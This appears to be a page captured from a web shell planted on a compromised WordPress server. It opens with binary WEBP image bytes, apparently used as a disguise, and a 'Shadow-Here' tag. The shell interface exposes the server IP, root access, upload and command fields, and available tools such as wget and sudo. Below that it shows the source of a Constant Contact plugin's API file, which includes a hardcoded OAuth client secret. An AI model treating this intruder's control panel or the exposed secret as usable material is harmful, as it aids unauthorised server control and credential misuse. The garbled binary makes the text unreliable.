RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/pricol-logistics/wp-content/plugins/gf-constant-contact/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/pricol-logistics/wp-content/plugins/gf-constant-contact/api/api.php
<?php
// Exit if accessed directly
if( !defined( 'ABSPATH' ) ) exit;

if(!class_exists('vxg_ccontact_api')){
    
class vxg_ccontact_api extends vxg_ccontact{
  
    public $info='' ; // info
    public $url='https://api.cc.email/v3/';
    public $auth_url='https://authz.constantcontact.com/oauth2/default/v1/token';
    public $api_key='';
    public $error= "";
    public $timeout= "15";

function __construct($info) {
     
    if(isset($info['data'])){ 
       $this->info= $info['data'];
    } 
}
public function get_token(){
    $info=$this->info;
  $users=$this->get_lists(); 
  if(is_array($users) && count($users)>0){
    $info['valid_token']='true';    
    }else{
        $info['error']=$users;
     // unset($info['access_token']);  
      unset($info['valid_token']);  
    }
     $info['_time']=time(); 
    return $info;
}
/**
  * Get New Access Token from infusionsoft
  * @param  array $form_id Form Id
  * @param  array $info (optional) Infusionsoft Credentials of a form
  * @param  array $posted_form (optional) Form submitted by the user,In case of API error this form will be sent to email
  * @return array  Infusionsoft API Access Informations
  */
public function refresh_token($info=""){
  if(!is_array($info)){
  $info=$this->info;
  }
  if(!isset($info['refresh_token']) || empty($info['refresh_token'])){
   return $info;   
  }
  $client=$this->client_info(); 
  ////////it is oauth    
  $body=array("client_id"=>$client['client_id'],"client_secret"=>$client['client_secret'],"redirect_uri"=>$client['call_back'],"grant_type"=>"refresh_token","refresh_token"=>$info['refresh_token']);
  $re=$this->post_crm($this->auth_url,'token',$body);

  if(isset($re['access_token']) && $re['access_token'] !=""){ 
  $info["access_token"]=$re['access_token'];
  if(!empty($re['refresh_token'])){
  $info["refresh_token"]=$re['refresh_token'];
  }
 // $info["org_id"]=$re['id'];
  $info["class"]='updated';
  $info["token_time"]=time(); 
  $info['valid_token']='true'; 
  }else{
      $info['valid_token']=''; 
  $info['error']=isset($re['errorSummary']) ? $re['errorSummary'] : '';
  $info['access_token']="";
   $info["class"]='error';
 // $this->log_msg("Auto Token Error ".$res);
  }
  //api validity check
  $this->info=$info;
  //update infusionsoft info 
  //got new token , so update it in db
  $this->update_info( array("data"=> $info),$info['id']); 
  return $info; 
  }
public function handle_code(){
      $info=$this->info;
      $id=$info['id'];
 
        $client=$this->client_info();
  $log_str=array(); $token=array();
  if(isset($_REQUEST['code'])){
  $code=$this->post('code'); 
  if(!empty($code)){
  $body=array("client_id"=>$client['client_id'],"client_secret"=>$client['client_secret'],"redirect_uri"=>$client['call_back'],"grant_type"=>"authorization_code","code"=>$code);
  $token=$this->post_crm($this->auth_url,'token',$body);
  }
  }
  if(isset($_REQUEST['error'])){
   $token['error_description']=$this->post('error');   
  }

  $info['access_token']=$this->post('access_token',$token);
  $info['client_id']=$client['client_id'];
  $info['_id']=$this->post('id',$token);
  $info['refresh_token']=$this->post('refresh_token',$token);
 // $info['issued_at']=round($this->post('issued_at',$token)/1000);
  $info['signature']=$this->post('signature',$token);
  $info['token_time']=time();
  $info['_time']=time();
  $info['error']=$this->post('error_description',$token);
  $info['api']="api";
  $info["class"]='error';
  $info['valid_token']=''; 
  if(!empty($info['access_token'])){
  $info["class"]='updated';
  $info['valid_token']='true'; 
  }
  $this->info=$info;
 // $info=$this->validate_api($info);
  $this->update_info( array('data'=> $info) , $id); //var_dump($res,$info); die();
  return $info;
  }
    /**
  * Get Infusionsoft Client Information
  * @param  array $info (optional) Infusionsoft Client Information Saved in Database
  * @return array Infusionsoft Client Information
  */
public function client_info(){
      $info=$this->info;
  $client_id='d806eeec-5890-43b3-b380-c8ad701c42e5';
  $client_id='';
  $client_secret='dnJSXk9qFqu9ARIPb7cKqw';
  $call_back="https://www.crmperks.com/nimble_auth/";
  //custom app
  if(is_array($info)){
      if( $this->post('app_id',$info) !="" && $this->post('app_secret',$info) !="" && $this->post('app_url',$info) !=""){
     $client_id=$this->post('app_id',$info);     
     $client_secret=$this->post('app_secret',$info);     
     $call_back=$this->post('app_url',$info);     
      }
  }
  return array("client_id"=>$client_id,"client_secret"=>$client_secret,"call_back"=>$call_back);
  }

public function get_crm_fields(){

$res=array('first_name'=>array('label'=>'First Name','name'=>'first_name','type'=>'text'),
'last_name'=>array('label'=>'Last Name','name'=>'last_name','type'=>'text'),

'email_address'=>array('label'=>'Email','name'=>'email_address','type'=>'email','req'=>'true'),
'permission_to_send'=>array('label'=>'Email Permissions','name'=>'permission_to_send',
'type'=>'choice','options'=>array('implicit'=>'I have implied permission to send email','explicit'=>'I have express permission to send email','unsubscribe'=>'Unsubscribed','suspend'=>"Temporary Hold - Don't email")),

'phone_number'=>array('label'=>'Phone','name'=>'phone_number','type'=>'tel','group'=>'phone_numbers'),
'phone_type'=>array('label'=>'Phone Type','name'=>'phone_type','type'=>'Choice','group'=>'phone_numbers','options'=>array('home'=>'Home','work'=>'Work','fax'=>'Fax','mobile'=>'Mobile','other'=>'Other')),

'job_title'=>array('label'=>'Job Title','name'=>'job_title','type'=>'text'),
'company_name'=>array('label'=>'Company Name','name'=>'company_name','type'=>'text'),


'street'=>array('label'=>'Address - Street','name'=>'street','type'=>'text','group'=>'street_addresses'),
'city'=>array('label'=>'Address - City','name'=>'city','type'=>'text','group'=>'street_addresses'),
'state'=>array('label'=>'Address - State','name'=>'state','type'=>'text','group'=>'street_addresses'),
'postal_code'=>array('label'=>'Address - Postal Code','name'=>'postal_code','type'=>'text','group'=>'street_addresses'),
'country'=>array('label'=>'Address - Country','name'=>'country','type'=>'text','group'=>'street_addresses'),
'kind'=>array('label'=>'Address - Type','name'=>'kind','type'=>'Choice',
'group'=>'street_addresses','options'=>array('home'=>'Home','work'=>'Work','vacation'=>'Vacation','other'=>'Other')),
'list_id'=>array('label'=>'List ID','name'=>'list_id','type'=>'text')

);
$custom=$this->post_crm_arr('contact_custom_fields','get');
if(!empty($custom['custom_fields'])){
    foreach($custom['custom_fields'] as $v){
$res[$v['custom_field_id']]=array('name'=>$v['custom_field_id'],'label'=>$v['label'],'is_custom'=>'true','type'=>$v['type']);
    }
}
return $res;
}

public function get_lists(){ 
$arr=$this->post_crm_arr('contact_lists','get');

$users=array();   
if(!empty($arr['error_message'])){
 $users=$arr['error_message'];   
}else if(!empty($arr['lists'])){
 foreach($arr['lists'] as $k=>$v){
     if(empty($v['list_id'])){ continue; }
     $v['list_id']=(string)$v['list_id'];
  $users[$v['list_id']]=$v['name'];   
 }
}
  return $users;
}

public function push_object($module,$fields,$meta){  
//check primary key
 $extra=array();

  $debug = isset($_GET['vx_debug']) && current_user_can('manage_options');
  $event= isset($meta['event']) ? $meta['event'] : '';
  $id= isset($meta['crm_id']) ? $meta['crm_id'] : '';
  $lists=array();
  if($debug){ ob_start();}
if(isset($meta['primary_key']) && $meta['primary_key']!="" && isset($fields[$meta['primary_key']]['value']) && $fields[$meta['primary_key']]['value']!=""){    
$search=$fields[$meta['primary_key']]['value'];
$q=array('email'=>$search,'include'=>'list_memberships,custom_fields,phone_numbers,street_addresses');
//$q=array('email'=>$search,'include'=>'list_memberships','include_count'=>true,'lists'=>'ce562406-75c2-11ea-ae26-d4ae529a824a');
$search_response=$this->post_crm_arr('contacts','get',$q);
//$search_response=$this->post_crm_arr('contacts','get', array('email'=>'norahgault@hotmail.com','status'=>'explicit', 'include'=>'list_memberships','include_count'=>true) ); //'email'=>'',
//$search_response=$this->post_crm_arr('contacts/3040c318-75cf-11ea-aabc-d4ae52733d3a?include=list_memberships','get');
// var_dump($search_response); die();
if(!empty($search_response['contacts']) && !empty($search_response['contacts'][0]['contact_id']) ){
  $id=$search_response['contacts'][0]['contact_id']; 
  $search_response=array_slice($search_response['contacts'],0,5);
  if(!empty($search_response[0]['list_memberships'])){
    $lists=$search_response[0]['list_memberships'];  
  }
}
//$res=$this->post_crm_arr('contacts/310038b0-2210-11e9-8e55-d4ae52a2c97b','get');
  if($debug){
  ?>
  <h3>Search field</h3>
  <p><?php print_r($field) ?></p>
  <h3>Search term</h3>
  <p><?php print_r($search) ?></p>
    <h3>POST Body</h3>
  <p><?php print_r($body) ?></p>
  <h3>Search response</h3>
  <p><?php print_r($res) ?></p>  
  <?php
  }

      $extra["body"]=$search;
      $extra["response"]=$search_response;
  }


     if(in_array($event,array('delete_note','add_note'))){    
  if(isset($meta['related_object'])){
    $extra['Note Object']= $meta['related_object'];
  }
  if(isset($meta['note_object_link'])){
    $extra['note_object_link']=$meta['note_object_link'];
  }
}

 $status=$action=$method=""; $send_body=true;
 $link=""; $error=""; $arr=array();
 $entry_exists=false;
//var_dump($fields,$meta); die();
$object_url='';
$is_main=false;
$post=array();
if($id == ""){
    //insert new object
$action="Added";  
  if(empty($meta['new_entry'])){ 
$status="1"; $method='post';
$object_url='contacts';
$is_main=true;
$post['create_source']='Contact';
  }else{
      $error='Entry does not exist';
  }
  
}else if(in_array($event,array('delete'))){
     
  $action="Deleted";
  $sales_response=$this->post_crm_arr('contacts/'.$id,"DELETE");
    if(empty($sales_response)){ $status="5"; } 
}else{
 $entry_exists=true;
$action="Updated"; $status="2";
if(empty($meta['update'])){     
 $is_main=true;
$object_url='contacts/'.$id;
 $method='put';
 $post['update_source']='Contact';
 } 
}

if($is_main){

$crm_fields=array();
if(!empty($meta['fields'])){
  $crm_fields=$meta['fields'];  
}

if(is_array($fields) && count($fields)>0){
    $custom_fields=$phone=$address=array();
    foreach($fields as $k=>$v){
        $val=$v['value'];
  if(!empty($crm_fields[$k]['type'])){ 
  if($k == 'email_address'){
 $post['email_address']['address']=$val;
 
  }else if($k == 'permission_to_send'){
 $post['email_address']['permission_to_send']=$val;

  }else if($k == 'list_id'){
      $meta['object']=$val;
      if(is_array($val)){
          if(!is_array($meta['lists'])){
              $meta['lists']=array();
          }
        $val=array_values($val);  
      $meta['object']=$val[0];
      unset($val[0]);
      if(!empty($val)){
      $lists=array_merge($lists,$val);
      }
      }
 
  }else if(!empty($crm_fields[$k]['is_custom'])){   
  if($crm_fields[$k]['type'] == 'date'){ $val=date('m/d/Y',strtotime($val)); }  
  $custom_fields[]=array('custom_field_id'=>$k,'value'=>$val);
  
  }else if(!empty($crm_fields[$k]['group'])){
  $group=$crm_fields[$k]['group'];
  
  if(in_array($k,array('address_type','phone_type'))){
   $k='kind';   
  }
  if($group == 'phone_numbers'){
      $phone[$k]=$val;
  }else{
   $address[$k]=$val;   
  }    
  }else{
   $post[$k]=$val;   
  }     
}
}
if(!empty($phone)){
$post['phone_numbers']=array($phone);
}
if(!empty($address)){
$post['street_addresses']=array($address);
}
if(!empty($custom_fields)){
$post['custom_fields']=$custom_fields;
}
$new_lists=array();
$lists[]=$new_lists[]=$meta['object'];
if(!empty($meta['assign_list']) && !empty($meta['lists'])){
foreach($meta['lists'] as $k=>$v){
 $new_lists[]=$lists[]=$k;  
} }
if(!empty($meta['vx_unsub'])){
$lists=array_diff($lists,$new_lists);
//$post['list_memberships']=array();
}
$post['list_memberships']=array_unique($lists);
//var_dump($post); die();
// if(!empty($meta['status'])){  $post['status']=$meta['status'];  } 
// if(!empty($meta['source'])){  $post['source']=$meta['source'];  } 
// if(!empty($meta['source_detail'])){  $post['source_details']=$meta['source_detail'];  } 

} } 
//$post['email_address']['permission_to_send']='implicit'; 
//var_dump($post); die();
if( !empty($object_url) ){
$arr=$this->post_crm_arr($object_url,$method,$post);
}
//var_dump($object_url,$arr,$event,$post); die();
if(!empty($arr['contact_id'])){
$id=$arr['contact_id'];        

}else if(!empty($arr[0]['error_message'])){
$status=''; $error=$arr[0]['error_message']; $id='';
}
//var_dump($error); die();
  if($debug){
  ?>
  <h3>Account Information</h3>
  <p><?php //print_r($this->info) ?></p>
  <h3>Data Sent</h3>
  <p><?php print_r($post) ?></p>
  <h3>Fields</h3>
  <p><?php echo json_encode($fields) ?></p>
  <h3>Response</h3>
  <p><?php print_r($response) ?></p>
  <h3>Object</h3>
  <p><?php print_r($module."--------".$action) ?></p>
  <?php
 echo  $contents=trim(ob_get_clean());
  if($contents!=""){
  update_option($this->id."_debug",$contents);   
  }
  }
       //add entry note


return array("error"=>$error,"id"=>$id,"link"=>$link,"action"=>$action,"status"=>$status,"data"=>$fields,"response"=>$arr,"extra"=>$extra);
}
public function create_fields_section($fields){ 
$arr=array(); 

    // filter fields
    $crm_fields=$this->get_crm_fields(); 
    if(!is_array($crm_fields)){
        $crm_fields=array();
    } 
    $add_fields=array();
    if(is_array($fields['fields']) && count($fields['fields'])>0){
        foreach($fields['fields'] as $k=>$v){
           $found=false; 
                foreach($crm_fields as $crm_key=>$val){
                    if(strpos($crm_key,$k)!== false){
                        $found=true; break;
                }
            }
         //   echo $found.'---------'.$k.'============'.$crm_key.'<hr>';
         if(!$found){
       $add_fields[$k]=$v;      
         }   
        }
    }
 $arr['fields']=$add_fields;   


return $arr;  
} 
public function field_types($data){
    return array('string'=>'Text',"date"=>'Date');
}
public function create_field($field){
 
//$name=isset($field['name']) ? $field['name'] : '';
$label=isset($field['label']) ? $field['label'] : '';
$type=isset($field['type']) ? $field['type'] : '';
//$object=isset($field['object']) ? $field['object'] : '';

$error='Unknow error';
if(!empty($label) && !empty($type) ){
$body=array('label'=>$label,'type'=>$type);    
$url='contact_custom_fields';    
$arr=$this->post_crm_arr($url,'post',$body); 
    $error='ok';
if(empty($arr['custom_field_id']) ){
 $error=!empty($arr[0]['error_message']) ? $arr[0]['error_message'] : json_encode($arr);       
}
}
return $error;    
}

public  function post_crm_arr($path,$method,$body=""){
  $info=$this->info;    
  $get_token=false; 
      $path=$this->url.$path;
  $sales_response=$this->post_crm($path,$method,$body); 

  if(!empty($info['refresh_token']) && !empty($sales_response['error_key']) && $sales_response['error_key'] == 'unauthorized'){ 
  $get_token=true;         
  }

  if($get_token){ 
  $this->refresh_token();     
  if(!empty($this->info['access_token'])){
  $sales_response=$this->post_crm($path,$method,$body);
  } } 
  return $sales_response;   
}
public function post_crm($path,$method,$body='',$type=''){
        $head=array(); 
      $token=isset($this->info['access_token']) ? $this->info['access_token'] : '';
       $head['Authorization']='Bearer '.$token;
if($method == 'token'){
$method='post';
$head['Authorization']='Basic '.base64_encode($body['client_id'].':'.$body['client_secret']);
unset($body['client_id']); unset($body['client_secret']);
$body=http_build_query($body);
